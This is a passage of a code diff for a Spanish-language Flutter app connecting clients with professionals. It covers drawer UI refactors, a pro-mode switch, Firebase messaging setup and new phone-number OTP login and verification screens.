child: ElevatedButton.icon(
|
||||
onPressed: () {
|
||||
final myUserState = context.read<MyUserBloc>().state;
|
||||
if (myUserState.status == MyUserStatus.success) {
|
||||
final user = myUserState.user!;
|
||||
|
||||
if (user.name != null && user.email != null && user.city != null && user.phone != null) {
|
||||
if (userState.status == MyUserStatus.success) {
|
||||
final user = userState.user!;
|
||||
if (user.name != null &&
|
||||
user.city != null &&
|
||||
user.phone != null) {
|
||||
switch (user.proState) {
|
||||
case ProState.active: Navigator.pop(context);
|
||||
|
||||
context.read<ProfessionalBloc>().add(const SwitchProModeEvent());
|
||||
|
||||
case ProState.active:
|
||||
Navigator.pop(context);
|
||||
context
|
||||
.read<ProfessionalBloc>()
|
||||
.add(const SwitchProModeEvent());
|
||||
break;
|
||||
case ProState.inactive:
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) => const ProfessionalFormScreen(),
|
||||
),
|
||||
builder: (_) => const ProfessionalFormScreen()),
|
||||
);
|
||||
break;
|
||||
case ProState.pending:
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) => const ProfessionalPendingScreen(),
|
||||
),
|
||||
builder: (_) =>
|
||||
const ProfessionalPendingScreen()),
|
||||
);
|
||||
break;
|
||||
case ProState.denied:
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) => const ProfessionalDeniedScreen(),
|
||||
),
|
||||
builder: (_) =>
|
||||
const ProfessionalDeniedScreen()),
|
||||
);
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
final missing = <String>[
|
||||
if (user.name == null) 'nombre',
|
||||
if (user.city == null) 'ciudad',
|
||||
if (user.phone == null) 'teléfono',
|
||||
];
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(const SnackBar(
|
||||
content: Text('Por favor, completa tu perfil'),
|
||||
));
|
||||
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
SnackBar(
|
||||
content: Text(
|
||||
'Completa tu perfil: falta ${missing.join(', ')}')),
|
||||
);
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) => const ProfileScreen(),
|
||||
),
|
||||
builder: (_) => const ProfileScreen()),
|
||||
);
|
||||
}
|
||||
} else {}
|
||||
}
|
||||
},
|
||||
style: FilledButton.styleFrom(
|
||||
backgroundColor: Theme.of(context).colorScheme.primary,
|
||||
padding: const EdgeInsets.symmetric(vertical: 15),
|
||||
icon: const Icon(Icons.swap_horiz, size: 20),
|
||||
label: Text(
|
||||
isProMode ? 'Cambiar a modo cliente' : 'Cambiar a modo profesional',
|
||||
style: const TextStyle(fontSize: 15),
|
||||
),
|
||||
style: ElevatedButton.styleFrom(
|
||||
backgroundColor:
|
||||
isProMode ? _kPro : _kUser,
|
||||
foregroundColor: Colors.white,
|
||||
padding: const EdgeInsets.symmetric(vertical: 14),
|
||||
elevation: 0,
|
||||
shape: RoundedRectangleBorder(
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
),
|
||||
),
|
||||
child: (state is LoadedModeProState)
|
||||
? Text(
|
||||
state.isProModeActive ? 'Modo cliente' : 'Modo profesional',
|
||||
style: const TextStyle(color: Colors.white, fontSize: 18),
|
||||
)
|
||||
: const Text(
|
||||
'Modo profesional',
|
||||
style: TextStyle(color: Colors.white, fontSize: 18),
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
),
|
||||
),
|
||||
),
|
||||
(state is LoadedModeProState)
|
||||
? Visibility(
|
||||
visible: !state.isProModeActive,
|
||||
child: Positioned(
|
||||
),
|
||||
if (!isProMode && professionalState is LoadedModeProState)
|
||||
Positioned(
|
||||
top: 0,
|
||||
right: 0,
|
||||
child: FutureBuilder(
|
||||
builder: (context, AsyncSnapshot<int> snapshot) {
|
||||
child: FutureBuilder<int>(
|
||||
future: Injector.appInstance
|
||||
.get<ApiServiceRepository>()
|
||||
.countPendingServicesForProfessional(
|
||||
ApiUserRepository.currentUserId ?? ''),
|
||||
builder: (context, snapshot) {
|
||||
if (!snapshot.hasData || snapshot.data! < 1) {
|
||||
return const SizedBox();
|
||||
}
|
||||
final int notificationCount = snapshot.data!;
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
horizontal: 8,
|
||||
vertical: 2,
|
||||
),
|
||||
padding:
|
||||
const EdgeInsets.symmetric(horizontal: 6, vertical: 2),
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.red,
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
),
|
||||
child: Text(
|
||||
notificationCount > 9
|
||||
? '+9'
|
||||
: notificationCount.toString(),
|
||||
snapshot.data! > 9 ? '+9' : snapshot.data!.toString(),
|
||||
style: const TextStyle(
|
||||
color: Colors.white,
|
||||
fontSize: 14,
|
||||
fontWeight: FontWeight.w500,
|
||||
),
|
||||
fontSize: 11,
|
||||
fontWeight: FontWeight.w600),
|
||||
),
|
||||
);
|
||||
},
|
||||
future: Injector.appInstance
|
||||
.get<ApiServiceRepository>()
|
||||
.countPendingServicesForProfessional(
|
||||
ApiUserRepository.currentUserId ?? ''),
|
||||
),
|
||||
),
|
||||
)
|
||||
: const SizedBox(),
|
||||
],
|
||||
);
|
||||
}
|
||||
|
||||
shouldProModeActive(BuildContext context, ProfessionalState state) {
|
||||
return (state is LoadedModeProState) ? state.isProModeActive : false;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -12,98 +12,139 @@ class GeneralDrawerHeader extends StatelessWidget {
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return BlocBuilder<MyUserBloc, MyUserState>(
|
||||
builder: (context, state) {
|
||||
if (state.status == MyUserStatus.success) {
|
||||
final user = state.user!;
|
||||
builder: (context, userState) {
|
||||
if (userState.status == MyUserStatus.success) {
|
||||
final user = userState.user!;
|
||||
return BlocBuilder<ProfessionalBloc, ProfessionalState>(
|
||||
builder: (context, state) {
|
||||
return ListTile(
|
||||
builder: (context, proState) {
|
||||
final isProMode = (proState is LoadedModeProState) &&
|
||||
proState.isProModeActive;
|
||||
return InkWell(
|
||||
onTap: () {
|
||||
shouldProModeActive(context, state)
|
||||
isProMode
|
||||
? Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (BuildContext context) {
|
||||
return const ProfessionalProfileScreen();
|
||||
},
|
||||
builder: (_) => const ProfessionalProfileScreen(),
|
||||
),
|
||||
)
|
||||
: Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (BuildContext context) {
|
||||
return const ProfileScreen();
|
||||
},
|
||||
builder: (_) => const ProfileScreen(),
|
||||
),
|
||||
);
|
||||
},
|
||||
title: Text(user.name ?? '',
|
||||
child: Padding(
|
||||
padding: EdgeInsets.fromLTRB(
|
||||
20,
|
||||
MediaQuery.of(context).padding.top + 20,
|
||||
20,
|
||||
16),
|
||||
child: Row(
|
||||
children: [
|
||||
_avatar(user.picture),
|
||||
const SizedBox(width: 14),
|
||||
Expanded(
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Text(
|
||||
user.name ?? '',
|
||||
overflow: TextOverflow.ellipsis,
|
||||
style: const TextStyle(fontWeight: FontWeight.bold)),
|
||||
subtitle: Text(user.drawerLabel,
|
||||
overflow: TextOverflow.ellipsis,
|
||||
style: const TextStyle(fontSize: 12)),
|
||||
leading: pictureWidget(user.picture, context),
|
||||
trailing:
|
||||
const Icon(Icons.keyboard_arrow_right, color: Colors.black),
|
||||
contentPadding:
|
||||
const EdgeInsets.symmetric(vertical: 10, horizontal: 15),
|
||||
style: TextStyle(
|
||||
fontSize: 15,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: Theme.of(context).colorScheme.onSurface,
|
||||
),
|
||||
),
|
||||
const SizedBox(height: 5),
|
||||
_modePill(isProMode),
|
||||
],
|
||||
),
|
||||
),
|
||||
Icon(
|
||||
Icons.keyboard_arrow_right,
|
||||
color: Theme.of(context)
|
||||
.colorScheme
|
||||
.onSurface
|
||||
.withOpacity(0.4),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
);
|
||||
} else if (state.status == MyUserStatus.failure) {
|
||||
return const Text('Error obteniendo datos del usuario');
|
||||
} else if (userState.status == MyUserStatus.failure) {
|
||||
return const Padding(
|
||||
padding: EdgeInsets.all(16),
|
||||
child: Text('Error obteniendo datos del usuario'),
|
||||
);
|
||||
} else {
|
||||
return const CircularProgressIndicator();
|
||||
return const Padding(
|
||||
padding: EdgeInsets.all(24),
|
||||
child: CircularProgressIndicator(),
|
||||
);
|
||||
}
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
shouldProModeActive(BuildContext context, ProfessionalState state) {
|
||||
return (state is LoadedModeProState) ? state.isProModeActive : false;
|
||||
Widget _modePill(bool isProMode) {
|
||||
final color =
|
||||
isProMode ? const Color(0xFF0D9488) : const Color(0xFF1565C0);
|
||||
final icon = isProMode ? Icons.badge_outlined : Icons.person_outline;
|
||||
final label = isProMode ? 'Profesional' : 'Cliente';
|
||||
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(horizontal: 10, vertical: 3),
|
||||
decoration: BoxDecoration(
|
||||
color: color,
|
||||
borderRadius: BorderRadius.circular(20),
|
||||
),
|
||||
child: Row(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
Icon(icon, color: Colors.white, size: 12),
|
||||
const SizedBox(width: 4),
|
||||
Text(
|
||||
label,
|
||||
style: const TextStyle(
|
||||
fontSize: 11,
|
||||
color: Colors.white,
|
||||
fontWeight: FontWeight.w600,
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget pictureWidget(String? pictureUrl, BuildContext context) {
|
||||
Widget _avatar(String? pictureUrl) {
|
||||
ImageProvider<Object>? imageProvider;
|
||||
|
||||
if (pictureUrl != null && pictureUrl.isNotEmpty) {
|
||||
imageProvider = NetworkImage(pictureUrl);
|
||||
}
|
||||
|
||||
return Hero(
|
||||
tag: 'picture-profile',
|
||||
child: pictureContainerWidget(
|
||||
imageProvider,
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget pictureContainerWidget(ImageProvider<Object>? imageProvider) {
|
||||
final image = imageProvider == null
|
||||
? null
|
||||
: DecorationImage(
|
||||
image: imageProvider,
|
||||
fit: BoxFit.contain,
|
||||
);
|
||||
|
||||
final widget = image == null
|
||||
? Icon(
|
||||
CupertinoIcons.person,
|
||||
color: Colors.grey.shade400,
|
||||
size: 40,
|
||||
)
|
||||
: null;
|
||||
|
||||
return Container(
|
||||
width: 60,
|
||||
height: 60,
|
||||
child: Container(
|
||||
width: 52,
|
||||
height: 52,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
shape: BoxShape.circle,
|
||||
image: image,
|
||||
border: Border.all(color: const Color(0xFF1565C0).withOpacity(0.3), width: 2),
|
||||
image: imageProvider == null
|
||||
? null
|
||||
: DecorationImage(image: imageProvider, fit: BoxFit.cover),
|
||||
),
|
||||
child: imageProvider == null
|
||||
? Icon(CupertinoIcons.person,
|
||||
color: Colors.grey.shade500, size: 28)
|
||||
: null,
|
||||
),
|
||||
child: widget,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -20,28 +20,23 @@ class GeneralDrawerItem extends StatelessWidget {
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
final onSurface = Theme.of(context).colorScheme.onSurface;
|
||||
return ListTile(
|
||||
onTap: onTap == null ? null : () => onTap!(),
|
||||
leading: leading == null
|
||||
? null
|
||||
: Icon(
|
||||
leading,
|
||||
color: Colors.black,
|
||||
),
|
||||
: Icon(leading, color: color ?? onSurface.withOpacity(0.75)),
|
||||
trailing: trailing
|
||||
? const Icon(
|
||||
Icons.keyboard_arrow_right,
|
||||
color: Colors.black,
|
||||
)
|
||||
? Icon(Icons.keyboard_arrow_right, color: onSurface.withOpacity(0.4))
|
||||
: null,
|
||||
title: Text(
|
||||
label,
|
||||
style: TextStyle(fontSize: 15, color: color),
|
||||
style: TextStyle(fontSize: 15, color: color ?? onSurface),
|
||||
),
|
||||
subtitle: subtitle == null
|
||||
? null
|
||||
: Text(subtitle ?? "", style: const TextStyle(color: Colors.black54)),
|
||||
// dense: true,
|
||||
: Text(subtitle!,
|
||||
style: TextStyle(color: onSurface.withOpacity(0.55))),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -16,9 +16,11 @@ import 'package:prosappco/blocs/service_bloc/service_bloc.dart';
|
||||
import 'package:prosappco/blocs/setting_bloc/setting_bloc.dart';
|
||||
import 'package:prosappco/blocs/sign_up_bloc/sign_up_bloc.dart';
|
||||
import 'package:prosappco/blocs/sing_in_bloc/sign_in_bloc.dart';
|
||||
import 'package:prosappco/blocs/suggestion_bloc/suggestion_bloc.dart';
|
||||
import 'package:prosappco/local_notifications/local_notifications.dart';
|
||||
import 'package:score_repository/score_repository.dart';
|
||||
import 'package:service_repository/service_repository.dart';
|
||||
import 'package:suggestion_repository/suggestion_repository.dart';
|
||||
import 'package:user_repository/user_repository.dart';
|
||||
import 'package:city_repository/city_repository.dart';
|
||||
import 'package:setting_repository/setting_repository.dart';
|
||||
@@ -42,6 +44,7 @@ class AppDI {
|
||||
injector.registerSingleton(() => ApiServiceRepository());
|
||||
injector.registerSingleton(() => ApiChatRepository());
|
||||
injector.registerSingleton(() => ApiScoreRepository());
|
||||
injector.registerSingleton(() => ApiSuggestionRepository());
|
||||
|
||||
injector.registerSingleton<AuthenticationBloc>((() =>
|
||||
AuthenticationBloc(myUserRepository: injector.get<UserRepository>())));
|
||||
@@ -105,5 +108,11 @@ class AppDI {
|
||||
userRepository: injector.get<UserRepository>(),
|
||||
),
|
||||
);
|
||||
|
||||
injector.registerDependency<SuggestionBloc>(
|
||||
() => SuggestionBloc(
|
||||
suggestionRepository: injector.get<ApiSuggestionRepository>(),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
import 'package:firebase_core/firebase_core.dart';
|
||||
import 'package:firebase_messaging/firebase_messaging.dart';
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter/services.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
@@ -16,6 +18,9 @@ import 'simple_bloc_observer.dart';
|
||||
void main() async {
|
||||
WidgetsFlutterBinding.ensureInitialized();
|
||||
|
||||
await Firebase.initializeApp();
|
||||
FirebaseMessaging.onBackgroundMessage(firebaseMessagingBackgroundHandler);
|
||||
|
||||
// Inicializacion de notificaciones locales
|
||||
await LocalNotifications.initializeLocalNotifications();
|
||||
|
||||
|
||||
@@ -0,0 +1,227 @@
|
||||
import 'dart:async';
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter/services.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
import 'package:flutter_otp_text_field/flutter_otp_text_field.dart';
|
||||
import 'package:injector/injector.dart';
|
||||
import 'package:intl_phone_field/intl_phone_field.dart';
|
||||
import 'package:prosappco/blocs/auth_bloc/auth_bloc.dart';
|
||||
import 'package:prosappco/blocs/authentication_bloc/authentication_bloc.dart';
|
||||
import 'package:prosappco/components/general_primary_button.dart';
|
||||
|
||||
class PhoneVerifyRequiredScreen extends StatefulWidget {
|
||||
final String? phone;
|
||||
const PhoneVerifyRequiredScreen({super.key, this.phone});
|
||||
|
||||
@override
|
||||
State<PhoneVerifyRequiredScreen> createState() => _PhoneVerifyRequiredScreenState();
|
||||
}
|
||||
|
||||
class _PhoneVerifyRequiredScreenState extends State<PhoneVerifyRequiredScreen> {
|
||||
late final AuthBloc authBloc;
|
||||
String? _phone;
|
||||
String _otpCode = '';
|
||||
bool _codeSent = false;
|
||||
int _resendSeconds = 0;
|
||||
Timer? _timer;
|
||||
|
||||
@override
|
||||
void initState() {
|
||||
super.initState();
|
||||
authBloc = Injector.appInstance.get<AuthBloc>();
|
||||
_phone = widget.phone;
|
||||
}
|
||||
|
||||
@override
|
||||
void dispose() {
|
||||
_timer?.cancel();
|
||||
super.dispose();
|
||||
}
|
||||
|
||||
void _startResendTimer() {
|
||||
setState(() => _resendSeconds = 60);
|
||||
_timer = Timer.periodic(const Duration(seconds: 1), (t) {
|
||||
if (_resendSeconds == 0) {
|
||||
t.cancel();
|
||||
} else {
|
||||
setState(() => _resendSeconds--);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
void _sendCode() {
|
||||
final phone = _phone;
|
||||
if (phone == null || phone.isEmpty) return;
|
||||
authBloc.add(AuthEventLoginOAuth(phone: phone));
|
||||
setState(() => _codeSent = true);
|
||||
_startResendTimer();
|
||||
}
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return BlocProvider<AuthBloc>(
|
||||
create: (_) => authBloc,
|
||||
child: BlocConsumer<AuthBloc, AuthState>(
|
||||
listener: (context, state) {
|
||||
if (state is AuthStateSuccess) {
|
||||
context.read<AuthenticationBloc>().add(
|
||||
AuthenticationUserChanged(null),
|
||||
);
|
||||
} else if (state is AuthStateVerifyOAuth && state.isWrongCode) {
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('Código incorrecto, intenta de nuevo')),
|
||||
);
|
||||
}
|
||||
},
|
||||
builder: (context, state) {
|
||||
return Scaffold(
|
||||
body: Container(
|
||||
decoration: const BoxDecoration(
|
||||
gradient: LinearGradient(
|
||||
begin: Alignment.topCenter,
|
||||
end: Alignment.bottomCenter,
|
||||
colors: [Color(0xFF42A4EF), Color(0xFF1565C0)],
|
||||
),
|
||||
),
|
||||
child: SafeArea(
|
||||
child: Column(
|
||||
children: [
|
||||
const SizedBox(height: 40),
|
||||
Image.asset('images/logo_prosapp.png', width: 160),
|
||||
const SizedBox(height: 12),
|
||||
const Text(
|
||||
'Verificación requerida',
|
||||
style: TextStyle(color: Colors.white, fontSize: 20, fontWeight: FontWeight.bold),
|
||||
),
|
||||
const SizedBox(height: 4),
|
||||
const Text(
|
||||
'Verifica tu número para continuar',
|
||||
style: TextStyle(color: Colors.white70, fontSize: 14),
|
||||
),
|
||||
const SizedBox(height: 30),
|
||||
Expanded(
|
||||
child: Container(
|
||||
decoration: const BoxDecoration(
|
||||
color: Colors.white,
|
||||
borderRadius: BorderRadius.vertical(top: Radius.circular(32)),
|
||||
),
|
||||
padding: const EdgeInsets.symmetric(horizontal: 28, vertical: 32),
|
||||
child: SingleChildScrollView(
|
||||
child: _codeSent ? _buildOtpSection(state) : _buildPhoneSection(),
|
||||
),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _buildPhoneSection() {
|
||||
return Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
const Text('Número de celular', style: TextStyle(fontWeight: FontWeight.w600, fontSize: 16)),
|
||||
const SizedBox(height: 4),
|
||||
const Text('Ingresa tu número para recibir el código de verificación',
|
||||
style: TextStyle(color: Colors.grey, fontSize: 13)),
|
||||
const SizedBox(height: 20),
|
||||
IntlPhoneField(
|
||||
initialCountryCode: 'CO',
|
||||
initialValue: _phone?.replaceAll('+57', '').replaceAll('+', ''),
|
||||
keyboardType: TextInputType.number,
|
||||
inputFormatters: [FilteringTextInputFormatter.digitsOnly],
|
||||
onChanged: (phone) => _phone = phone.completeNumber,
|
||||
decoration: InputDecoration(
|
||||
hintText: 'Número de celular',
|
||||
border: OutlineInputBorder(borderRadius: BorderRadius.circular(12)),
|
||||
),
|
||||
),
|
||||
const SizedBox(height: 24),
|
||||
SizedBox(
|
||||
width: double.infinity,
|
||||
child: ElevatedButton(
|
||||
onPressed: _sendCode,
|
||||
style: ElevatedButton.styleFrom(
|
||||
backgroundColor: const Color(0xFF42A4EF),
|
||||
foregroundColor: Colors.white,
|
||||
padding: const EdgeInsets.symmetric(vertical: 16),
|
||||
shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)),
|
||||
),
|
||||
child: const Text('Enviar código', style: TextStyle(fontSize: 16, fontWeight: FontWeight.w600)),
|
||||
),
|
||||
),
|
||||
const SizedBox(height: 16),
|
||||
Center(
|
||||
child: TextButton(
|
||||
onPressed: () => context.read<AuthenticationBloc>().add(AuthenticationLogoutRequested()),
|
||||
child: const Text('Cerrar sesión', style: TextStyle(color: Colors.grey)),
|
||||
),
|
||||
),
|
||||
],
|
||||
);
|
||||
}
|
||||
|
||||
Widget _buildOtpSection(AuthState state) {
|
||||
return Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.center,
|
||||
children: [
|
||||
const Text('Ingresa el código', style: TextStyle(fontWeight: FontWeight.w600, fontSize: 18)),
|
||||
const SizedBox(height: 8),
|
||||
Text(
|
||||
'Enviamos un código de 6 dígitos a\n${_phone ?? ''}',
|
||||
textAlign: TextAlign.center,
|
||||
style: const TextStyle(color: Colors.grey, fontSize: 13),
|
||||
),
|
||||
const SizedBox(height: 28),
|
||||
OtpTextField(
|
||||
numberOfFields: 6,
|
||||
borderColor: const Color(0xFF42A4EF),
|
||||
focusedBorderColor: const Color(0xFF1565C0),
|
||||
showFieldAsBox: true,
|
||||
fieldWidth: 44,
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
onCodeChanged: (code) => _otpCode = code,
|
||||
onSubmit: (code) => authBloc.add(AuthEventVerifyOAuth(code: code)),
|
||||
),
|
||||
const SizedBox(height: 28),
|
||||
if (state is AuthStateProcess)
|
||||
const CircularProgressIndicator()
|
||||
else
|
||||
SizedBox(
|
||||
width: double.infinity,
|
||||
child: ElevatedButton(
|
||||
onPressed: () {
|
||||
if (_otpCode.length == 6) {
|
||||
authBloc.add(AuthEventVerifyOAuth(code: _otpCode));
|
||||
}
|
||||
},
|
||||
style: ElevatedButton.styleFrom(
|
||||
backgroundColor: const Color(0xFF42A4EF),
|
||||
foregroundColor: Colors.white,
|
||||
padding: const EdgeInsets.symmetric(vertical: 16),
|
||||
shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)),
|
||||
),
|
||||
child: const Text('Verificar', style: TextStyle(fontSize: 16, fontWeight: FontWeight.w600)),
|
||||
),
|
||||
),
|
||||
const SizedBox(height: 20),
|
||||
_resendSeconds > 0
|
||||
? Text('Reenviar código en $_resendSeconds s', style: const TextStyle(color: Colors.grey))
|
||||
: TextButton(
|
||||
onPressed: _sendCode,
|
||||
child: const Text('Reenviar código', style: TextStyle(color: Color(0xFF42A4EF))),
|
||||
),
|
||||
const SizedBox(height: 8),
|
||||
TextButton(
|
||||
onPressed: () => setState(() { _codeSent = false; _otpCode = ''; }),
|
||||
child: const Text('Cambiar número', style: TextStyle(color: Colors.grey)),
|
||||
),
|
||||
],
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -45,7 +45,12 @@ class _SignUpScreenState extends State<SignUpScreen> {
|
||||
signUpRequired = true;
|
||||
});
|
||||
} else if (state is SignUpFailure) {
|
||||
return;
|
||||
setState(() {
|
||||
signUpRequired = false;
|
||||
});
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
SnackBar(content: Text(state.message)),
|
||||
);
|
||||
}
|
||||
},
|
||||
child: Column(
|
||||
|
||||
@@ -1,186 +1,313 @@
|
||||
import 'package:flutter/cupertino.dart';
|
||||
import 'package:flutter/gestures.dart';
|
||||
import 'dart:async';
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter/services.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
import 'package:flutter_otp_text_field/flutter_otp_text_field.dart';
|
||||
import 'package:injector/injector.dart';
|
||||
import 'package:intl_phone_field/intl_phone_field.dart';
|
||||
import 'package:prosappco/components/general_input_decoration.dart';
|
||||
import 'package:prosappco/components/general_primary_button.dart';
|
||||
import 'package:prosappco/screens/authentication/otp_auth_screen.dart';
|
||||
import 'package:prosappco/blocs/auth_bloc/auth_bloc.dart';
|
||||
import 'package:prosappco/screens/authentication/sign_screen.dart';
|
||||
|
||||
class WelcomeScreen extends StatelessWidget {
|
||||
class WelcomeScreen extends StatefulWidget {
|
||||
const WelcomeScreen({super.key});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
double width = MediaQuery.of(context).size.width;
|
||||
String? _phoneNumber;
|
||||
String? _errorMsg;
|
||||
State<WelcomeScreen> createState() => _WelcomeScreenState();
|
||||
}
|
||||
|
||||
class _WelcomeScreenState extends State<WelcomeScreen> {
|
||||
late final AuthBloc authBloc;
|
||||
String? _phone;
|
||||
String _otpCode = '';
|
||||
bool _codeSent = false;
|
||||
int _resendSeconds = 0;
|
||||
Timer? _timer;
|
||||
|
||||
@override
|
||||
void initState() {
|
||||
super.initState();
|
||||
authBloc = Injector.appInstance.get<AuthBloc>();
|
||||
}
|
||||
|
||||
@override
|
||||
void dispose() {
|
||||
_timer?.cancel();
|
||||
super.dispose();
|
||||
}
|
||||
|
||||
void _startResendTimer() {
|
||||
setState(() => _resendSeconds = 60);
|
||||
_timer?.cancel();
|
||||
_timer = Timer.periodic(const Duration(seconds: 1), (t) {
|
||||
if (_resendSeconds == 0) {
|
||||
t.cancel();
|
||||
} else {
|
||||
setState(() => _resendSeconds--);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
void _sendCode() {
|
||||
final phone = _phone;
|
||||
if (phone == null || phone.isEmpty) return;
|
||||
authBloc.add(AuthEventLoginOAuth(phone: phone));
|
||||
setState(() { _codeSent = true; _otpCode = ''; });
|
||||
_startResendTimer();
|
||||
}
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return BlocProvider<AuthBloc>(
|
||||
create: (_) => authBloc,
|
||||
child: BlocConsumer<AuthBloc, AuthState>(
|
||||
listener: (context, state) {
|
||||
if (state is AuthStateFailure) {
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
SnackBar(content: Text(state.message ?? 'Error al enviar código')),
|
||||
);
|
||||
} else if (state is AuthStateVerifyOAuth && state.isWrongCode) {
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('Código incorrecto, intenta de nuevo')),
|
||||
);
|
||||
}
|
||||
},
|
||||
builder: (context, state) {
|
||||
return Scaffold(
|
||||
backgroundColor: Theme.of(context).colorScheme.tertiary,
|
||||
body: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
body: Container(
|
||||
decoration: const BoxDecoration(
|
||||
gradient: LinearGradient(
|
||||
begin: Alignment.topLeft,
|
||||
end: Alignment.bottomRight,
|
||||
colors: [Color(0xFF42A4EF), Color(0xFF1565C0)],
|
||||
),
|
||||
),
|
||||
child: SafeArea(
|
||||
child: Column(
|
||||
children: [
|
||||
Padding(
|
||||
padding: const EdgeInsets.symmetric(vertical: 20),
|
||||
child: Center(
|
||||
child: Image(
|
||||
width: width * 0.7,
|
||||
image: const AssetImage('images/logo_prosapp.png'),
|
||||
),
|
||||
),
|
||||
),
|
||||
const SizedBox(height: 36),
|
||||
_buildHero(),
|
||||
const SizedBox(height: 24),
|
||||
Expanded(
|
||||
child: Container(
|
||||
decoration: const BoxDecoration(
|
||||
color: Colors.white,
|
||||
borderRadius: BorderRadius.only(
|
||||
topLeft: Radius.circular(60),
|
||||
topRight: Radius.circular(60),
|
||||
borderRadius: BorderRadius.vertical(top: Radius.circular(32)),
|
||||
),
|
||||
),
|
||||
child: Padding(
|
||||
padding:
|
||||
const EdgeInsets.symmetric(horizontal: 30, vertical: 15),
|
||||
padding: const EdgeInsets.fromLTRB(28, 32, 28, 20),
|
||||
child: SingleChildScrollView(
|
||||
child: Column(
|
||||
child: _codeSent
|
||||
? _buildOtpSection(state)
|
||||
: _buildPhoneSection(state),
|
||||
),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _buildHero() {
|
||||
return Column(
|
||||
children: [
|
||||
SizedBox(
|
||||
width: double.infinity,
|
||||
child: Text(
|
||||
Image.asset('images/logo_prosapp.png', width: 180),
|
||||
const SizedBox(height: 12),
|
||||
const Text(
|
||||
'Conecta con los mejores profesionales',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(
|
||||
color: Colors.white,
|
||||
fontSize: 15,
|
||||
fontWeight: FontWeight.w400,
|
||||
letterSpacing: 0.3,
|
||||
),
|
||||
),
|
||||
],
|
||||
);
|
||||
}
|
||||
|
||||
Widget _buildPhoneSection(AuthState state) {
|
||||
return Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
const Text(
|
||||
'Iniciar sesión',
|
||||
style: TextStyle(
|
||||
// fontSize: 30,
|
||||
fontSize: width * 0.08,
|
||||
fontWeight: FontWeight.bold,
|
||||
style: TextStyle(fontSize: 24, fontWeight: FontWeight.bold, color: Color(0xFF1A1A2E)),
|
||||
),
|
||||
const SizedBox(height: 6),
|
||||
const Text(
|
||||
'Ingresa tu número para recibir un código de verificación',
|
||||
style: TextStyle(color: Colors.grey, fontSize: 13),
|
||||
),
|
||||
),
|
||||
const SizedBox(height: 10),
|
||||
SizedBox(
|
||||
width: double.infinity,
|
||||
child: Text(
|
||||
'Numero de celular',
|
||||
style: TextStyle(
|
||||
fontSize: width * 0.045,
|
||||
color: Theme.of(context).colorScheme.onBackground,
|
||||
),
|
||||
),
|
||||
),
|
||||
Form(
|
||||
child: IntlPhoneField(
|
||||
const SizedBox(height: 24),
